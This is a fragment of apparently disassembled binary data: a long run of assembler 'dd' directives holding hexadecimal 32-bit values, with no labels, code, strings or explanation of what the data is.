		dd 84DC2D4Ch, 800215CAh, 76D88CCFh, 0BFFAF776h,	4BEC625Ah
		dd 0F89488A6h, 0A8CD8C7h, 0C760D2FFh, 46D300F4h, 0F05921DAh
		dd 0B4688214h, 6B42F664h, 0DB28C465h, 79524F0Ah, 8A2EB627h
		dd 49B7F62Dh, 8A655759h, 0E2306CD0h, 8F169966h,	321C002h
		dd 2EA222E9h, 0B755F44Fh, 0AF5B55F3h, 9F89895Fh, 62547C4Ah
		dd 2F1B7D22h, 0E4F85ACDh, 1CA8075Bh, 16F3EFE5h,	0B3586354h
		dd 0B84E280Eh, 24F198C4h, 0E82F387h, 48AB6340h,	7BA8DC80h
		dd 14B0946h, 9C317599h,	2C420AC6h, 92AC2CD2h, 0E11BEC5Ah
		dd 372F0A68h, 27BC8F8Bh, 7752567Ch, 0AE5CF260h,	98D04E9Fh
		dd 7EB87978h, 4F00B8F6h, 0BE65C42Ch, 148405B7h,	7633FBA3h
		dd 0D959A24Fh, 0A450942Fh, 6C3EE207h, 0C981E031h, 0F12F3670h
		dd 8888F945h, 0F72DCD13h, 2FC0DA0Fh, 583FA63Ah,	0E5E03509h
		dd 0B18FD544h, 6020BB17h, 0C4147F85h, 0BFC59340h, 896F56F6h
		dd 0F9A55EC4h, 0FD1929EDh, 7C1096BEh, 3EA5B694h, 277EDE28h
		dd 0AFFDA9ECh, 7045096Fh, 333CE743h, 56802A5h, 0E0409170h
		dd 202473C1h, 7A25E724h, 6B94204Dh, 6D93BE04h, 0B833BE8h
		dd 36E264Eh, 1A4F034Fh,	8C76512Fh, 556EA413h, 72AB44ABh
		dd 68660130h, 0FC6B3C71h, 542DE136h, 6BCEF5C2h,	324AADBEh
		dd 57C845C2h, 628B7247h, 0C12D1499h, 95167AE4h,	1466026h
		dd 2C419D3h, 0A9B72E32h, 8CEFFDACh, 0D7045C92h,	0E61E4238h
		dd 345B3736h, 2F01ABF5h, 748C6DDFh, 1412C33Ch, 686E2831h
		dd 7D449131h, 0FA04AF4Dh, 35D03141h, 0C3D9E310h, 0E262A030h
		dd 0E95A1AA7h, 0D90A4B57h, 2F171E4Fh, 37911CF3h, 362CAB4Eh
		dd 30EA2E68h, 9924C4h, 0AC5A88CFh, 0B12DE944h, 8BA6D9A5h
		dd 0FA305BF7h, 60827AD3h, 0E202D5F4h, 0AD89B78Eh, 95F0947Dh
		dd 0B81B74D1h, 0BF7F0237h, 868B3C1h, 6ACED0C1h,	3DAB7684h
		dd 0C1B4028Bh, 680745D4h, 7F0B6BE4h, 43E02C32h,	57763EA1h
		dd 811054B7h, 5A15B850h, 66C87038h, 0C245AA63h,	0CEBE854Dh
		dd 1CF45A60h, 0E91E4094h, 76078525h, 0AA52650Ch, 0F1513683h
		dd 746AAC8Fh, 4A50F853h, 0E96420FFh, 1ABFA017h,	595457F3h
		dd 808CD43Bh, 5720EA6Bh, 5B6C0E0Ch, 6D514CCh, 4E3075BDh
		dd 21CEC95Ah, 0C3E53AC3h, 676FF06Eh, 130280Dh, 3AEC7AF7h
		dd 405B340Dh, 0A90FA02h, 367D52h, 2FDA2D6Ah, 0C7293AC4h
		dd 0AF5EBDB8h, 97168C31h, 0C37E0F05h, 477DCFE3h, 508808E1h
		dd 77AE6877h, 50AD2AE1h, 757681B5h, 8B86F92h, 80D0F1A2h
		dd 0ED0FCAF6h, 654C947Bh, 4EBF9FBDh, 0EB523DA8h, 4D60A060h
		dd 0C12B1378h, 88920FE5h, 1E3148B0h, 0D54B38FEh, 0CE3551A3h
		dd 0FB4CF3C1h, 63E17BF1h, 31E1092Bh, 0C708ECD5h, 9721A1Eh
		dd 0BBE8E555h, 0A790A42Ch, 0D138B76h, 1A53C14h,	4F8041F1h
		dd 5B6489EFh, 52A540D2h, 494ECC9Ch, 4A66DDF6h, 619D5EB0h
		dd 412A84DFh, 168CE022h, 34E4ED12h, 0B82D68E9h,	0A4991973h
		dd 0B83F2C25h, 56A2B5CCh, 0BB9AF4D2h, 68902E06h, 0FB0BBF35h
		dd 0B3D2C57Bh, 0AD6B849Dh, 68C2F4B9h, 6C545531h, 0A43B4160h
		dd 0BCC09F6Ah, 0E9135D0Ch, 0CEAECAF4h, 0E94961F3h, 0D7C2BE3Bh
		dd 216A06D1h, 0E167570Ah, 6D3EEA81h, 17A097Bh, 2F73251Bh
		dd 95FF605Eh, 0A5FF6C4Ch, 6EC129BBh, 0BAE44FFCh, 909A58B2h
		dd 1396FB57h, 2F6BA11Bh, 411E76CCh, 0F3E83E96h,	0FF783DC3h
		dd 128FE8Ch, 8D411377h,	4304FE52h, 0EF128B2Bh, 8A841004h
		dd 0D400BF14h, 116810Eh, 68255FFDh, 0BE66D56Eh,	0C15ABB02h
		dd 0DE7BE96Dh, 0A843CD4h, 9346DC42h, 1707B2BDh,	642D49C6h
		dd 0C7A843A4h, 1A775C25h, 0F8145FD4h, 0EAE98C88h, 0DE177D60h
		dd 5620685Bh, 1374FB0Bh, 0EF6A9E2Eh, 0C253ED81h, 0E2D80005h
		dd 0F742756Ch, 5DD2DD60h, 903A3054h, 31157871h,	0E9DE9865h
		dd 0C14335EBh, 7C97ED0h, 0ECDC15AFh, 0F00DC50Ah, 0A8D8D152h
		dd 3B253402h, 7F09BA0Fh, 5D6E0D0h, 3A5998F0h, 9AE8011Ch
		dd 0DEE90A08h, 0FF668793h, 77618232h, 89A45376h, 9E17A88h
		dd 0EA765F5Eh, 9E01F026h, 3175332Bh, 19BBAD2Bh,	0C04C66ADh
		dd 670CBA30h, 80D00B50h, 0C708B004h, 800C17B3h,	38526AEFh
		dd 0D73B2BB2h, 0CFFE5A0Fh, 30ABB621h, 0E1930F7h, 0D8EBEFC1h
		dd 60FE695Eh, 332ECD67h, 21FA2436h, 90E3FFECh, 9DEF307Ah
		dd 47665D14h, 0E775D1E4h, 7C301FB0h, 77CF0A23h,	0C15C14Ch
		dd 3836E9CBh, 315813A5h, 1BA6214h, 4A45411Dh, 4360FA01h
		dd 0A1ADBA3Fh, 0C875E773h, 0E2A7863Ch, 185D36F0h, 2C6F2D60h
		dd 2D009C5h, 95B9E9DDh,	7982445Fh, 91972A53h, 3EE248A0h
		dd 1F7E9B10h, 96C9C9FEh, 0C1801A45h, 2F20DEE7h,	0F1557F65h
		dd 5F00C27Ch, 8306E2C1h, 0DABFFFEAh, 0D6155912h, 4782B902h
		dd 1B7646E5h, 2EA2BC0Bh, 0ED37C677h, 72F2BF0Ch,	0E516BCB0h
		dd 0D1BAC2F0h, 2B336C47h, 680A45E7h, 92BA5C4Dh,	0EA42900Eh
		dd 0FA245D34h, 211C9B30h, 0E9548561h, 183DB87Fh, 917ECB01h
		dd 62F09608h, 0A7B04EBCh, 9394AEDCh, 328A554Bh,	82C091Ch
		dd 5366D800h, 202EC7B3h, 0C02721DDh, 82B5BEC8h,	3F3BF080h
		dd 89416E99h, 0A1419565h, 64D97291h, 83328AA8h,	0FC59D108h
		dd 0F43FA025h, 833D5B9Dh, 2D4800E8h, 29D57482h,	0F51F0235h
		dd 0F6E96CD3h, 0AC093858h, 5C469268h, 0D44F6206h, 13E4E77Dh
		dd 44DF946h, 0FF29D4F6h
		dd 58D8DF82h, 58679770h, 296DEB3h, 5358C363h, 66425B59h
		dd 823A6A75h, 7ADF400Ch, 0C32C2767h, 605AD456h,	0D28CD9BFh
		dd 0FDB3EB28h, 0CB1D492h, 5B1288DDh, 4FDF8718h,	2615B09Ah
		dd 1E6D3FADh, 0D30F02A8h, 76B9F829h, 52C26A5Dh,	0DF06758Fh
		dd 0E49F7675h, 3F1B9870h, 833CFB5Fh, 1623B44Eh,	6EE4994Fh
		dd 6D7E0B3Eh, 0E15C4359h, 24D1E300h, 4AE90577h,	316F09C0h
		dd 919C1A40h, 1713C388h, 0B901601Ch, 0E908403Dh, 668B8A2Dh
		dd 48E82035h, 0E31C817Eh, 3BBAF1Eh, 5A2E72E1h, 58ECDA6Ah
		dd 0CB80135Dh, 2849BE0Ch, 0A75C8512h, 4FECB0C3h, 1264FF78h
		dd 0A11C90FEh, 0BDF6DF06h, 590BA568h, 27DBCA08h, 685638F7h
		dd 69A4B684h, 1FC7105h,	0FB55E26Fh, 370C826Ah, 0E1524D80h
		dd 74205BEFh, 51A5A4B3h, 0A97BBDB6h, 86159F16h,	3FC24082h
		dd 47C69D12h, 0B3CBFB21h, 0F1626602h, 0A1A682DFh, 0BB95D1Ch
		dd 54C33482h, 5AA65D5Ah, 45F701CBh, 0B37985Eh, 0DE5A8859h
		dd 6BB1282Ch, 1E020D2Bh, 32E6BCE2h, 6814E0E6h, 0A13A1680h
		dd 975479E9h, 4E3F31E4h, 0F1BBBC2Eh, 0F310983Ah, 53247D50h
		dd 0C100AD7Eh, 290C4D1Ch, 807C90DFh, 12215B08h,	0F16EE9F8h
		dd 255E0A4Bh, 0A7F8FC7Ah, 9184BC5Fh, 92D28893h,	5BB95100h
		dd 0FF0D1056h, 0D03F306Ch, 0CD0CEB44h, 0B05FB106h, 6034730Ah
		dd 6D460C28h, 94F1BC5h,	16C7BF00h, 52D67C0h, 14E9F921h
		dd 0F097567Bh, 0E17A872h, 21EB4EADh, 0AF86FBA4h, 2BFA4067h
		dd 2A46250Fh, 0DC58334Ch, 60ED80D2h, 0F647C502h, 2776BC17h
		dd 3F4C7D71h, 0BDB6E6E9h, 68C17D5Ch, 0B23F56D9h, 62359A78h
		dd 19217D27h, 2CBC88E9h, 9A568ACBh, 0D1506917h,	0C9C60387h
		dd 0B00C434Dh, 346BF2E6h, 0EB18382Bh, 0BB85D321h, 225D5B01h
		dd 7E2130Eh, 0FD5E7B32h, 0E775FCE2h, 0A0361335h, 5E09BEDCh
		dd 7D4878C4h, 9FCD8982h, 0A102C90Ah, 68612D50h,	0B75F359h
		dd 194CB95h, 0E71D9F98h, 426DD9B7h, 49E8CE19h, 2E00A40Dh
		dd 2B05072Dh, 2EE704F4h, 1443C689h, 2884EA7h, 3FCC55A5h
		dd 4EEEB4BDh, 0BA0ED430h, 37747907h, 0DDD20917h, 5A1AC861h
		dd 0F3A75E68h, 76548FDh, 379815A4h, 7F092CE2h, 33FE6698h
		dd 34AD4Ch, 971C30F7h, 4BB0E9B5h, 4AFCCA7Ah, 2179D1AFh
		dd 50B20172h, 0A706E02Eh, 8280D6AAh, 2BC8083Dh,	5E36D895h
		dd 80F6B931h, 3BE9CF01h, 5279971Fh, 8FA6103Ch, 6EFC116h
		dd 5159FE12h, 9012E197h, 19A66803h, 86416490h, 176A79E8h
		dd 0EA5F24C6h, 32EF8400h, 9517CC44h, 572C8F78h,	0F2DBF53h
		dd 0AA04526Fh, 0F6EFAFF1h, 6352245Eh, 25EE5AE4h, 50C7A0F6h
		dd 0F7E88825h, 99D32602h, 0FF5B247Ah, 0B9A9BA31h, 805E2C79h
		dd 9C63E16Bh, 13F80B5Ah, 0D2778AB2h, 683C0BBDh,	8E446746h
		dd 55095279h, 0B20022Fh, 0B9E87F23h, 6C9D6318h,	0E9530849h
		dd 7D256544h, 0E5D1078Bh, 0E6F25596h, 4F4E697h,	3FD7175h
		dd 3BFF819h, 4C5A1552h,	4B07B9DAh, 0A2603E4Ah, 5A7F8245h
		dd 48535D94h, 0D350604h, 0EA84AF3Bh, 628D0713h,	0B5894BECh
		dd 5967CAAFh, 6F0CFC46h, 4F3D4A07h, 42D2C101h, 0B14667Bh
		dd 311353EAh, 0EE14FA7Eh, 8D125008h, 2FABF24Eh,	6C68092Eh
		dd 5A0E9221h, 4CC105DEh, 0ECC47A0Eh, 4468092Dh,	0A996D56Bh
		dd 0BAC4294Bh, 0D2EEE2BEh, 9F1149F4h, 4D579109h, 2F89A4FFh
		dd 0E961D674h, 7734D2BBh, 0A6D05E28h, 0A8B65120h, 43FAEDB1h
		dd 81155800h, 1270EBC2h, 2512B72Bh, 5432F457h, 57C3E924h
		dd 0A08CD1A7h, 1BCB0BC5h, 73B16098h, 136BF05Ch,	685524C1h
		dd 0B1694BBBh, 0E152E0A5h, 405F1510h, 0F7C3142h, 237010BEh
		dd 65A6F187h, 9AC80750h, 655F0988h, 0F45618D8h,	580D6FB9h
		dd 0BBDBE57h, 235E0E40h, 292F10FFh, 5A0840D6h, 84E67E9Fh
		dd 0D873AA68h, 0D040580h, 0F9016482h, 2418BAAh,	4E45D6E9h
		dd 25327506h, 8B5A6577h, 2CB42192h, 9802BA20h, 49FD0FE0h
		dd 5264796Eh, 9E07A898h, 0C8ABCE0Bh, 1F02645Eh,	98595D33h
		dd 0AEF3C6D7h, 7F890596h, 0A5345E4Fh, 0C2607070h, 6D1EF73Bh
		dd 0F43B584Dh, 0B8A48F40h, 9324B12h, 5EE85BD6h,	35C0AEE6h
		dd 9F7AFEEBh, 9B0CC172h, 703E779h, 3EA50B51h, 1AD5D42Ah
		dd 14010C08h, 7C27AD68h, 701ECBFFh, 9D17A096h, 2D3B987h
		dd 0BA061791h, 253FD2DFh, 7C0E9EE9h, 916EF6A6h,	702BF300h
		dd 0BD555763h, 549C0644h, 0C5B3E94Fh, 84235A4Ch, 0F018BFBh
		dd 7251C0B7h, 0BECB100Eh, 1841B44Bh, 0EDD27A13h, 35E9CFF0h
		dd 90975285h, 434C9B99h, 0E12A287Dh, 0D02FADBAh, 57179A5Ah
		dd 6B371D82h, 0CA60B8FDh, 327D95A6h, 7146FFE3h,	0C8B7DD98h
		dd 9491DC3Ah, 0B85696C0h, 4D990C8Ch, 41DE1EDBh,	0DF80E2EFh
		dd 0D62A0CFAh, 2DE8093Fh, 70374248h, 2D687BEEh,	45D84E34h
		dd 83A3DE9Fh, 50437714h, 0A5B01879h, 0F5EBA960h, 27FF20DCh
		dd 0E4D329E7h, 3442828h, 1D2D7CF0h, 5D0DB31Dh, 5ABFC960h
		dd 7CD52248h, 3AD99381h, 0B901587Ch, 25CE4A7Dh,	80C22F49h
		dd 0EEBA0485h, 4C8FE54h, 66E43CE2h, 8AC6D092h, 5D424708h
		dd 4F1A4409h, 8C611607h, 0D85B306Ch, 0BAB527FDh, 4C20BCE5h
		dd 8C324B2Dh, 0E9275730h, 91D3580Fh, 6E2560C1h,	2EF71064h
		dd 35CC06E1h, 5E12E86Fh, 450BB0DEh, 0DCC0A0A1h,	125345Fh
		dd 0C3D9F1EEh, 0FC25E40Ch, 9F3AFABFh, 0FC9CDB09h, 0DEDD2625h
		dd 0F564EF8Ah, 5B1E132Fh, 3270FFDh, 8107201h, 10E91B08h
		dd 6D5BA9E1h, 8B85E86Fh, 0AFD03Dh, 0DDF6B9B5h, 52C1ED80h
		dd 7A8B23Ch, 6E2C0D2h, 78BEF2B2h, 0C0CFF7CBh, 4533FE5h
		dd 7DE982B3h, 1BA2FBC8h, 7178998Bh, 4135BA05h, 0BC821907h
		dd 0E2810097h, 0B8270F69h, 264C5225h, 3F751890h, 106CF202h
		dd 494278E6h, 5F4FB270h, 0F53177D2h, 0CF822FE6h, 0DCC28576h
		dd 46F40BB6h, 0A3020226h, 8666AD6Bh, 9417A3h, 0F70813B6h
		dd 5E7C05Ah, 21585690h,	35988135h, 42BF64D8h, 6A684106h
		dd 0D95AD77Eh, 0EABCE085h, 9EEB80B0h, 0B581B19Fh, 83C3E3E3h
		dd 8A22FE28h, 36C0C11Eh, 72C77780h, 890BB968h, 261FE5Ch
		dd 21629AF6h, 601752Dh,	2B3F010Dh, 0E984F6B8h, 5F8DA05Ch
		dd 990BCB0h, 1511169h, 2A9A46C1h, 9D330160h, 0EDDCF562h
		dd 2C06E2h, 0A30140B9h,	18C22A4Eh, 56A0D733h, 8D2EF9EAh
		dd 7558212Dh, 64E0DB92h, 30BB951h, 37065Bh, 5376FAD8h
		dd 22048059h, 8C47932Ch, 0EF417E02h, 0B097543h,	0A776E57Fh
		dd 2031F6C6h, 6C02E385h, 25600AAFh, 0AE9406ECh,	1A8566Fh
		dd 8E0000D3h, 0F77FAB48h, 1DC4D548h, 0B7C1F8E5h, 760AE930h
		dd 7B0EB72Eh, 16AADD30h, 0B3840BBh, 0EB8367F1h,	133D7526h
		dd 2DBDE0B7h, 4CF0F248h, 5287D36h, 0E4E91207h, 2E2BDE2h
		dd 1B6163C9h, 0DED1FD31h, 64B071AFh, 8B3B8CF6h,	17E0731Eh
		dd 1641A4CDh, 0F9CDC081h, 3001AD77h, 9A00B02Ah,	0EB897CD2h
		dd 0B1C711E9h, 31C802E4h, 0CF61354Ch, 5D590213h, 68F01D54h
		dd 0BA189D33h, 70604EE9h, 44DABE52h, 9CD895D0h,	0B451F709h
		dd 42E40028h, 1629542Dh, 40BCE9C6h, 0CE814E9Ch,	0F03E4964h
		dd 0C4F81340h, 0D911DCBFh, 0C217A760h, 5AA223DDh, 1017E850h
		dd 0A14F8E51h, 7586E1C1h, 0D9ED3E03h, 0AB6AFC85h, 8DDF2BB2h
		dd 7E0A6EBDh, 0B8377581h, 0D38BE72Ah, 602B1E09h, 12515304h
		dd 0A8C01BB1h, 13B02CF0h
		dd 0F604E000h, 0C58334D0h, 0C3842C08h, 0C9018C23h, 0FA572EC3h
		dd 0FD454B41h, 0BACF91Fh, 0DAB1D21Ch, 0A8623A45h, 9CEB938h
		dd 30E31D28h, 5772848h,	0AD54EC5Eh, 0FB35C5BAh,	0A3EACA40h
		dd 0DF31E584h, 0BBE2A522h, 6E54BFE1h, 97302CC8h, 68ADDB80h
		dd 96B47319h, 232EF360h, 0B82D5E78h, 7E0289F2h,	1A7D275Eh
		dd 3F05F7EAh, 47A74416h, 8FCABE6Ah, 0ABB1337Ch,	2309360Bh
		dd 0F2801B3h, 0ABE2E98Fh, 0E121604Eh, 165F2D18h, 81394F59h
		dd 0E9AAD576h, 0E23EB92Ah, 39A296C7h, 95F59C4h,	0E9C85066h
		dd 0F1526E60h, 20E945E4h, 0F09F587Bh, 0B98D279Eh, 5851FFF6h
		dd 96EF34F4h, 1BF4805Ch, 0F1295A79h, 182D42B8h,	1039DD93h
		dd 0D4C5F4D9h, 0B72C46BFh, 0B68B8BFCh, 0B8675569h, 0A52DA62Ah
		dd 6C98FD69h, 7C82FB03h, 0CCA836Ah, 95EA22DFh, 0D97DF94Ah
		dd 455FCBC5h, 0E581A570h, 3B819CE9h, 78AA82D2h,	0C2CB9E34h
		dd 1B08CCB9h, 0BE88511Eh, 9E842668h, 0F9888366h, 0CFA2D1F6h
		dd 0FB2B5AD7h, 0DB68FE2Eh, 73988402h, 2AA72951h, 0D5BD6C00h
		dd 0A07B583Ch, 0C12F65D4h, 0A1614A17h, 1C05E809h, 0C55A14CEh
		dd 47FB9F70h, 3F71BBF3h, 2EE80173h, 7B517B3Eh, 0EC9351F1h
		dd 9362AB19h, 80776825h, 68CF09E6h, 6AB17920h, 0F4132F2Dh
		dd 4B8FA7ADh, 0BE623BA4h, 0DE01554Bh, 28920743h, 305B62F9h
		dd 8EA68382h, 0B7CB140Fh, 0DD71FAF2h, 0AC022A9Ah, 5C045A63h
		dd 681CA0ABh, 333F6631h, 970314BEh, 164D0588h, 0F0258228h
		dd 0E96CE997h, 7A65B061h, 0DB5C9538h, 4BC824Eh,	0C0987144h
		dd 2B276B18h, 0ACF0E0Ch, 0D1011A62h, 997BD9Dh, 4BFA852h
		dd 26200BB7h, 16C715B0h, 0A11C31FDh, 0B7DFC8B1h, 0E66448B5h
		dd 9A751734h, 0B43B017Eh, 6F50C558h, 0DD01CDA0h, 0E3FE9606h
		dd 7A34BC5h, 3A20AF90h,	20962976h, 1EC3C2h, 0B148A8B9h
		dd 3EB55D5Ch, 0DE9FBF08h, 0C8419AC9h, 25CD2D34h, 14194460h
		dd 9E372849h, 2AC3F84Bh, 0C6C5ED59h, 8DA2681Ah,	0E4085B7Eh
		dd 0D28BF117h, 16E1D4FDh, 8BB7F04Dh, 4F388A53h,	0D929DBD2h
		dd 7DDC09E4h, 7EAD17D1h, 3B5CD285h, 0E69AE9E1h,	4ADF1434h
		dd 0EDA1B15Bh, 2547780Ch, 0E4B5795Eh, 92544533h, 4278E2ABh
		dd 1FBF5831h, 4C527031h, 0A4444DE8h, 0C9810749h, 7D79059Ah
		dd 5AC36015h, 86B49113h, 56A718B1h, 5D5432h, 9B432B28h
		dd 0D5BB051Ah, 0ED77AE08h, 10370BDEh, 42F0097Ch, 503670B9h
		dd 1FC4CE51h, 0CD1FDB1Bh, 3F1E8393h, 47A72B1h, 4618187h
		dd 0F1AB5E5Fh, 8887D516h, 3756C1Ch, 2154B6BEh, 0E241FABDh
		dd 395C7882h, 9A023121h, 0BA5B04BBh, 7226629h, 5B9B0610h
		dd 0B84E1C04h, 12C3D618h, 1246782Ch, 8F0FAA10h,	0ACD32047h
		dd 0B72D5B4Dh, 0F35BF94Bh, 0DCE84B92h, 0D78CAF4Ah, 0D4E92D5Eh
		dd 0BBD7490Fh, 0BA5C9D32h, 119C0027h, 12776C4Dh, 0D05C49E9h
		dd 7FBF6E6h, 0FC0C9E60h, 0A0C9F0E5h, 255CC6FDh,	0E07F30AFh
		dd 0A205E8B6h, 0E9B2A20Ah, 9709F75Eh, 92D94D5h,	7B116866h
		dd 0F4E94E68h, 0BB09AFB2h, 82AE79EBh, 17A278Bh,	6B28A368h
		dd 8480C2D9h, 79B002C4h, 4596EA81h, 0DE2077A5h,	864FFD40h
		dd 39976817h, 36C64660h, 0B11A5A70h, 6BB5E98Ah,	0E036A81h
		dd 82300AEDh, 10A04C21h, 10BEA4Ah, 5A26207Dh, 0BAD58745h
		dd 63902DABh, 0C208B9E5h, 82F62FA0h, 449DC501h,	1CF478BEh
		dd 0CAD3C642h, 0CD202F6Fh, 84DCB557h, 8CE5993Ch, 0E87FD641h
		dd 0C921A5FBh, 16A491CDh, 9DF64BEFh, 753B400h, 26A7B863h
		dd 97B3E59h, 0F37572A9h, 6594426Eh, 0F4C75E04h,	0D76B4582h
		dd 0F42D3D71h, 37DC2748h, 923B0950h, 538A06Ch, 82229CACh
		dd 0EF6102F3h, 53A280D5h, 1306AD68h, 135B6E2Dh,	99C40841h
		dd 1C31B426h, 0F46A150Eh, 3F0DBB19h, 0D25A5DF4h, 0BE90700h
		dd 0B886C0DCh, 1D2705A3h, 4800BF98h, 5258C335h,	12712D01h
		dd 0B1AAE77h, 65D788E8h, 0E35793DEh, 20E983EDh,	0EAE902B0h
		dd 66D171E6h, 0E230DBE1h, 0E5C6D209h, 0D2F3AC6Bh, 817A9DF5h
		dd 88406068h, 26E70882h, 92A73B86h, 0D4EBCCE9h,	0DC64DFB1h
		dd 0AB13CAA6h, 761C4CAh, 3BC9D9E9h, 60894BE9h, 0C5804E60h
		dd 0B1ACFE5Eh, 0F4BB41Eh, 0EC6052F4h, 58E52869h, 0E9EA2005h
		dd 8737D6F1h, 12FF6785h, 0B72EBB7Ah, 8B78FD5Eh,	0B946A0C4h
		dd 71435AE2h, 71192568h, 0DD2A21E6h, 32ECF055h,	0F5C68997h
		dd 0DBF63964h, 16ECB94Bh, 716E5AC1h, 5AF22A11h,	5E4DBF00h
		dd 0FB891AC5h, 0A64E3CF8h, 0A2C121EEh, 0C18C7850h, 5D19FA6Ch
		dd 2129096Eh, 0D746FC84h, 6D6560E3h, 6496907Dh,	9DF5D82Fh
		dd 7060660Bh, 975EB815h, 0A6AE46C4h, 0BBE90B0Dh, 46F111ACh
		dd 0B7041578h, 0FFE73018h, 2D8038E0h, 545977CCh, 0C03BB541h
		dd 0AFAD046Ah, 45A09A0h, 17BA122Ch, 1F8ABACAh, 17C4BFC4h
		dd 0C2F25ADh, 0C1FE8602h, 0C1964275h, 132A85A5h, 0A6DFAAA6h
		dd 0EE5BCE5Ch, 9345F971h, 9ED3392h, 66F73880h, 7768127Ah
		dd 512DEF03h, 18627820h, 3E3E4F25h, 340D6EF7h, 1CFD011Ah
		dd 821C0806h, 4961F114h, 1B2F9672h, 0F09CFD76h,	12664D24h
		dd 0E74AC687h, 0DDDFF722h, 0B1F04B50h, 1984432Eh, 40BCF01h
		dd 18846F3Dh, 0AFB663CCh, 0DED59B01h, 9E8B063Ah, 5860295Fh
		dd 0F9252233h, 1626143Dh, 0EB49CD87h, 9D08D3C6h, 0E7066998h
		dd 5AD1900h, 63792808h,	2509EE2Dh, 0F5F04E68h, 12E50783h
		dd 0E82CAF11h, 54C90B05h, 7B765E28h, 2D0008A0h,	614C136Ah
		dd 1257C829h, 0BB4D0AE9h, 0C2BFC025h, 0B5E4D9EDh, 4F2FF17Ah
		dd 0CE09D5BFh, 5AD326B8h, 92945F97h, 0A57EE912h, 1B07D825h
		dd 73D46ABCh, 2A836FC0h, 0FC4B5B87h, 0EF6D1021h, 46A9680Ah
		dd 0BD7592CDh, 31317BADh, 2DC51714h, 52D4236Fh,	0EFAB28CAh
		dd 0D02D4C13h, 0F4B30B9Dh, 71F45238h, 74D909C7h, 9612CB35h
		dd 0FE2C60F5h, 6810A890h, 431D372h, 0A8F9866h, 3A1CAE50h
		dd 9C0A75CAh, 0E9064118h, 2E606072h, 0FC89CCBEh, 0B05AEB7Ah
		dd 54221BF5h, 41FAD4Bh,	4FE157EDh, 0ADE475C1h, 0C2A0ED05h
		dd 0A1722268h, 50DAE949h, 48D3A605h, 48D20E2h, 0E9D4F6F1h
		dd 28CDEC38h, 0C493E128h, 9873B61Eh, 0F069129Ah, 5C59BF05h
		dd 384835F2h, 0FED95AA3h, 0F2805D26h, 96D7FA2Ch, 0F1800458h
		dd 0A0B6B81Dh, 9862B050h, 1D441D8h, 3A617BB0h, 0E84F6DFDh
		dd 68510250h, 7FE23E02h, 0EA608251h, 134A5B94h,	10CA297Fh
		dd 5916084Dh, 104FB289h, 9B4CC497h, 0FD4A464Ch,	2EFD76A6h
		dd 0FCCEB2A5h, 96568C60h, 5002512Eh, 22466368h,	0C6AE607Fh
		dd 927EB5B0h, 735BF15Bh, 5546D06Eh, 0A01322BDh,	0EE161DB8h
		dd 8B689642h, 0FA72662Ch, 0B70B4BBCh, 24923E00h, 0B79D78C9h
		dd 33A8E6E5h, 1C4BFA80h, 0F553155Eh, 0BDEA04ABh, 35F144Bh
		dd 4F3C2042h, 60D1E140h, 5D5B1472h, 0A8C38187h,	0E575B62Dh
		dd 28C71FBh, 8EC32908h,	0A2FF5A9Ah, 0F22F856h, 0F84A133Fh
		dd 0B54B4C0Bh, 20565E93h, 5C694224h, 0B101051Bh, 5289D4B2h
		dd 0C9AEC55Fh, 0FF313AC4h, 0A9F35277h, 0C36EA175h, 5FA8E17Ch
		dd 54982C53h, 35E4504h,	1E880108h, 2D8920E9h, 9953563Bh
		dd 4540D099h, 1C71AA28h, 0A689EBE5h, 10E3029Fh,	13432060h
		dd 7E2218D9h, 0A9BA43C2h, 7862BEh, 3E2F109Bh, 0E7C12616h
		dd 0BA863992h, 0A4729A28h, 572D09B7h, 832093C7h, 2567D495h
		dd 0E92A02DDh, 2F6654CAh
		dd 0DA129158h, 0F2EE3468h, 0EB616AFh, 0FBF913EFh, 0E55B9D8Eh
		dd 0C5B03EF4h, 939D4E57h, 61D96332h, 0E2A0ED51h, 7988A274h
		dd 0B2923D36h, 0EE22208Bh, 42123057h, 0A0B94429h, 0D43C96DEh
		dd 5F14046Ah, 10E8A651h, 0BF05A1A2h, 825483FCh,	0EADDEE88h
		dd 0FD81D73Fh, 216A8D37h, 194B3FC5h, 584BE1C3h,	8BF1DC6Bh
		dd 94BA29EDh, 7E911037h, 1A19B801h, 0D80D33C7h,	641CA17Ah
		dd 0D56FFF2Dh, 6C9D77BEh, 0BE989613h, 47F10200h, 7E402BBAh
		dd 0EA295D02h, 0D503D3E9h, 4AF09C3Ah, 26D94F95h, 84BB0B86h
		dd 958ACEF7h, 545C22ECh, 0C2B5259Bh, 7D4D1AEBh,	0E09F6416h
		dd 0B905CF01h, 0AE5744F5h, 0FEA457F8h, 5A30C599h, 6FCA2F4Dh
		dd 4A1CABF0h, 0E9C47769h, 58BFA3A1h, 453656ADh,	0C1C2230h
		dd 0E01617E4h, 0E65BBD5Eh, 0B0B01E08h, 26CABEDAh, 0F8394C2Dh
		dd 0F6810329h, 3C04299Bh, 7F990C05h, 9C010944h,	395B7413h
		dd 422F1882h, 0C0D41957h, 0D5B0B773h, 26181629h, 85D95DE9h
		dd 0BF52C588h, 0E720BC89h, 32846190h, 0C9FD7C2Dh, 2AA7E9FEh
		dd 0CBAE7FD5h, 0F2007600h, 383F41B4h, 9ADD64E9h, 19A027BAh
		dd 0C98A34CCh, 0A53065FFh, 0B16C1657h, 1DB48837h, 3C138C24h
		dd 298DAD21h, 0FDC7F5C2h, 0E913E0A2h, 0F479E45h, 4B8FE830h
		dd 5F7BB2F1h, 0F6973BC4h, 68EB6184h, 0E969E01Ah, 5592D12Dh
		dd 37019594h, 68BD0EA7h, 477816D8h, 86705CC9h, 0FE20B502h
		dd 0C1D5F6CDh, 88031012h, 0EE9B5ABBh, 17588BD2h, 5801D497h
		dd 0C2B5CBE9h, 7FC7F50Bh, 1E877B0Ch, 79497559h,	0E15E2CCEh
		dd 0D3CD9DDFh, 0BD8E4322h, 31D02A16h, 0DF01ED81h, 0E926D302h
		dd 2089F532h, 2FD405ADh, 88598EA8h, 1AAD4A5Bh, 193966C4h
		dd 0D868EF9Ah, 9E755A27h, 7237984Dh, 4F28F70Ah,	4F0FAA5Eh
		dd 0A42F8506h, 1780B2AAh, 0D88C680Ch, 42015538h, 97A2C0E0h
		dd 0C648397Fh, 2F1DB92Fh, 0DD4BE2A4h, 0CC58DE51h, 2A5181D8h
		dd 0B81C79BDh, 46122270h, 6B04BF4Fh, 100EB33h, 0D2B951CBh
		dd 0FD53033Bh, 4B271327h, 0B5FACC29h, 0E903610Ah, 11342FAFh
		dd 0F9226682h, 35B828DDh, 0FB5A628Fh, 0C192390Ch, 48683956h
